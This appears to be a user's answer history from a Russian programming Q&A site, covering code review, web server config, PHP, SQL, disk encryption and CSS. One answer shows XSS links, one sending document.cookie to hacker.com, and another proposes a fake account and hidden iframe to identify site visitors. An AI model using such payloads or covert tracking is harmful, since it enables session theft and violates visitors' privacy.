• Есть ли ляпы в коде?

    sfi0zy
    @sfi0zy Куратор тега JavaScript
    Creative frontend developer
    Комментарии в коде бесполезные, только глаза мозолят:
    index: function (settings) {
        // Метод контроллера index
    ....
    create: function (settings) {
        // Метод контроллера create
    ....

    Если уж вы описываете свой код - делайте это с умом, посмотрите какие есть средства для генерации документации, например JSDoc

    Используйте фигурные скобки и отступы везде, где только можно. Я, разумеется, понимаю, что "стильно модно молодежно" писать if в одну строку, но такого рода конструкции взрывают мозг:
    ....
    else data = settings;
    if (typeof data !== "string") data = $.param(data);
    if (method == 'post') return $.post(url, data + '&_method=' + method_hidden);
    else return $.get(url, data);
    ....

    И, если еще придираться, - пустые строки после объявления переменных, после if/else, и.т.д. улучшают читабельность.

    Не используйте ключевые слова из es6 где попало:
    class: '.jsgrid-container',

    Есть некоторая непоследовательность - иногда вы выносите объявления всех переменных в начало функции, иногда нет. Имеет смысл определиться и использовать что-то одно.

    Да, и киньте ссылку на codepen что-ли, а то в 500 строк кода ни разу не понятно работает ли там что-то (и что оно вообще делает). И к этому хочется добавить - посмотрите в сторону систем сборки (Grunt/Gulp/...)на ваш вкус - скорее всего эти 500 строк можно разбить на части поменьше, станет проще ориентироваться в происходящем.
    Ответ написан
    1 комментарий
  • Как использовать 2 ип адреса сразу для vps?

    @nirvimel
    И Nginx, и Apache по умолчанию слушают сокет с адресом 0.0.0.0 , который, с точки зрения ОС, соответствуют любому IP. Если только специально не задать конкретный IP, который будет слушаться, например для Nginx:
    server {
        listen 192.168.1.1:80;
    }
    Документация по listen в Nginx
    Пример для Apache:
    Listen 192.168.1.1:80
    Документация по Listen в Apache.
    Так что, если ничего специально не менять, то сайт будет доступен по всем IP, которые делегированы серверу.
    Ответ написан
    Комментировать
  • Как победить ошибку?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    И что тут непонятного? Скрипт ждёт от сервера JSON, а получает, судя по ошибке, HTML.
    Ответ написан
    Комментировать
  • Как в strip_tags() передать HTML?

    miraage
    @miraage
    Старый прогер
    <a href="javascript:alert('hellowz')">link</a>
    <a href="javascript:new Image().src('http://hacker.com/hellowz?c=' + document.cookie)">link</a>
    Ответ написан
    3 комментария
  • Как подготовиться к закону Яровой?

    vvpoloskin
    @vvpoloskin
    Инженер связи
    Вы думайте после прочтения очередной новости, фильтруйте информационный шум.

    По сабжу - РБК, как обычно, нагнетает атмосферу. В статье НИГДЕ не указано (кроме мнения журналиста), что производство жестких дисков именно для соблюдения обозначенного пакета. Кроме того явно указано, что диски будут для серверов. Кроме того аквариус, с кем заключен контракт, никогда не был замечен в сборке решений типа СОРМ. А еще, удивительно, SSD на текущий момент не используют (и не будут использовать) в ближайшее время в качестве систем, где хранятся архивы данных. Я бы сказал, скорее будут использовать магнитную ленту, чем ssd.
    Ответ написан
    1 комментарий
  • Как получить количество записей за час?

    toxa82
    @toxa82
    посмотрите функцию EXTRACT (field FROM source), например
    SELECT EXTRACT(HOUR FROM TIMESTAMP '2001-02-16 20:38:40');
    Ответ написан
    Комментировать
  • Как получить сумму цифр из числа?

    sergey-gornostaev
    @sergey-gornostaev
    Седой и строгий
    var n = 1234;
    var sum = 0;
    
    while (n > 0) {
        sum += n % 10
        n = Math.floor(n/10)
    }
    Ответ написан
    1 комментарий
  • Альтернативы С++?

    Therapyx
    @Therapyx
    Data Science
    Первый язык как Жава так и с++ будет хорошим, возьми себе в голову - для начала ты учишься программировать, а не учишь ЯП. И пока ты этого не поймешь, будешь бегать с ЯП на ЯП и задавать такие вопросы.
    Ответ написан
    3 комментария
  • Веб сервер аномайзер который генерирует веб страниц в зависимости от такого по какому домену к нему обращаются. Реально?

    @SergeyZelensky-Rostov
    Ставите nginx и самое простое что мне пришлов голову делаете для каждого домена свой конфиг файл вида
    server{
    listen 80;
    server_name domain1.ru;
    location / {
      proxy_pass http://domain1.ru;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
      proxy_set_header Host $phost;
    }
    }

    проверить к сожалению сейчас не могу, но по идее работать должно
    Ответ написан
    6 комментариев
  • HTML5, нужен ли закрывающий слэш в мета тегах?

    zooks
    @zooks
    Frontend
    Интересно, что 3/4 ответов неправильные.

    Зависит от доктайпа.
    1. Если используется новый HTML5
      <!DOCTYPE html>
      то закрывающий тег не нужен. Но его наличие ошибкой не будет.

    2. Если используется XHTML
      <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

      тогда наличие закрывающего тега обязательно.


    P.S. У вас в первых двух примерах кавычки не закрыты - это уже критично.
    Ответ написан
    2 комментария
  • Надо ли бросать исключение при приеме ошибочных (невалидных) данных?

    @r_zaycev
    Исключение бросается в исключительной ситуации, которую нельзя предотвратить. Валидация принятых данных это явно не тот случай.
    Ответ написан
    3 комментария
  • Полнодисковое шифрование Linux с ключом на USB флэшке?

    @nirvimel
    Есть же куча руководств в Сети.
    Например, это - вполне годное. Использовать Btrfs, разумеется, не обязательно. Собственно, вся суть сосредоточена в строках, добавляемых в /etc/mkinitcpio.conf и этой строке
    GRUB_CMDLINE_LINUX="cryptdevice=/dev/disk/by-label/SCOTTY:root:allow-discards cryptkey=/dev/disk/by-label/ISO:ext4:/<path/to/keyfile/on/flash drive>"
    добавляемой в /boot/grub/grub.cfg (точнее в /etc/default/grub, из которого он генерируется). Тут важно указать, что SCOTTY - это метка шифруемого тома, а ISO - это метка флешки (а не тип ФС).
    Ответ написан
    Комментировать
  • Как убрать прозрачность в теме Вордпресс (точнее в одном из блоков landing page)?

    trampick
    @trampick
    Веб-разработчик
    Прозрачность в css можно сделать несколькими способами:
    - css свойство opacity(в этом случае нужно искать opacity:)
    - указать заливку фона в формате rgba. (в этом случае надо искать background:rgba() или background-color:rgba())
    - поставить на фон прозрачное изображение.(в этом случае надо искать background-image:url(''))

    Вам необходимо определить что используется из этого в вашей теме. Это можно сделать через инспектор кода браузера chrome или firefox. После того как определите какая строчка стиля отвечает за эту прозрачность необходимо найти файл css который содержит эту строчку и убрать ее из этого файла.
    Ответ написан
    Комментировать
  • Как создать экземпляр класса внутри другого класса?

    skobkin
    @skobkin
    Гентушник, разработчик на PHP и Symfony.
    Есть 4-й файл, который все эти классы объединяет посредством include.

    Почитайте, пожалуйста, PSR-4. У нас, вроде, 2016 год на дворе. Неймспейсы со времён PHP 5.3 доступны.
    Чтобы это реализовать, требуется обязательно наследовать классы?

    Это зависит от того, чего вы хотите добиться. В одном случае лучше будет сделать наследование, в другом - положить другой объект в свойство. Полагаю, если у вас должен быть объект, который использует 4 других независимых друг от друга и не имеющих общего кода объекта как зависимости, второй вариант действительно лучше в этом случае.
    Но php ругается, вываливая следующую ошибку: Parse error: syntax error, unexpected T_NEW in ...

    Просто нельзя создать новый объект в этой секции (объявление свойств). Положите новый объект в свойство в конструкторе.
    class Two {
        /**
        * @var One
        */
        public $one;
    
        public function __construct()
        {
            $this->one = new One();
        }
    
       #code.....
    }

    P.S. Вы бы хоть ошибки читали, которые вам PHP выкидывает.
    Ответ написан
    3 комментария
  • ID посетителя сайта в одноклассниках без clickjacking?

    Chronosms
    @Chronosms Автор вопроса
    Программист-ботовод
    В дополнение к Александру:
    Дорогие коллеги!
    Проблема решается очень просто:
    1. Создайте левый аккаунт в одноклассниках
    2. Создайте приложение и получите долговечный токен
    3. Получайте гостей по API, а на сайте через теневой айфрейм получайте информацию о своих посетителях. У меня всё.
    Ответ написан
    1 комментарий
  • Где найти интерактивное изучение js?

    evgeniy8705
    @evgeniy8705
    Повелитель вселенной
    nnmclub.to/forum/viewtopic.php?t=973073&start=45
    Единственный курс, в котором подробно изучается сам стандарт ES.
    Очень много практических заданий.
    Тем более обучение основано на изучении по учебнику Ильи Кантора.
    Тем более преподаватель бывший сотрудник Яндекса, нынешний сотрудник Lusoft
    Обучение длится 48 часов. Это только видеолекции, не считая времени на практику.
    По ES в курсе достаточно большое количество задач после каждой лекции, по JS также много задач из учебникак Ильи Картора, плюс выполняются такие работы как Слайдер, ToDo list, RSS ридер, корзина интернет магазина с local storage, а также выпускные проекты, сайт и игра.

    Этого курса + книги на learn.javascript.ru будет достаточно чтобы получить очень хорошую базу, конечно если выполнять все задания.
    Ответ написан
    1 комментарий
  • Передается ли вес страницы php редиректу?

    @AlikDex
    конечно передается. чем редирект отличается от перехода по ссылке? Ничем, это тотже самый редирект. 301 тем более. Почитайте что такое 301 редирект.

    Еще добавлю. Хватит читать тонные сео дерьма, что написаны за послдение годы. С каждым новым алгоритмом правила меняются у поисковиков, а следовательно меняется стратегия продвижения. Но в целом тренд такой, чтобы выбирать наиболее интересные сайты для людей. Отсюда следует, что вам необходимо так сделать свой сайт, чтобы он был интересен именно людям, а не ботам. И тогда с поисковиками не будет проблем.
    Ответ написан
    9 комментариев
  • Как вызвать свойство класса с названием как значение переменной?

    frolover
    @frolover
    class Employee {
        public $data = 'SomeString';
    }
    
    $name = 'data';
    
    $employee = new Employee();
    var_dump( $employee->{$name} ); //string(10) "SomeString"
    $employee->{$name} = 'NewSomeString';
    var_dump( $employee->{$name} ); //string(13) "NewSomeString"
    Ответ написан
    Комментировать
  • Как сделать, чтобы были видны переменные из require_once?

    @ollisso
    Они автоматически видны, если файл есть в инклуде.
    Судя по тому что он у вас жёлтый - шторм не видет файла. Проверьте это.

    Так же, возможно что у вас переменная в файле имеет другой регистр - Users и users - разные переменные.

    Так же - покажите файл head.php чтобы точно проверить что там есть переменная $Users. Может быть она в функции какой либо, или же это класс, а не переменная ?
    Ответ написан
    1 комментарий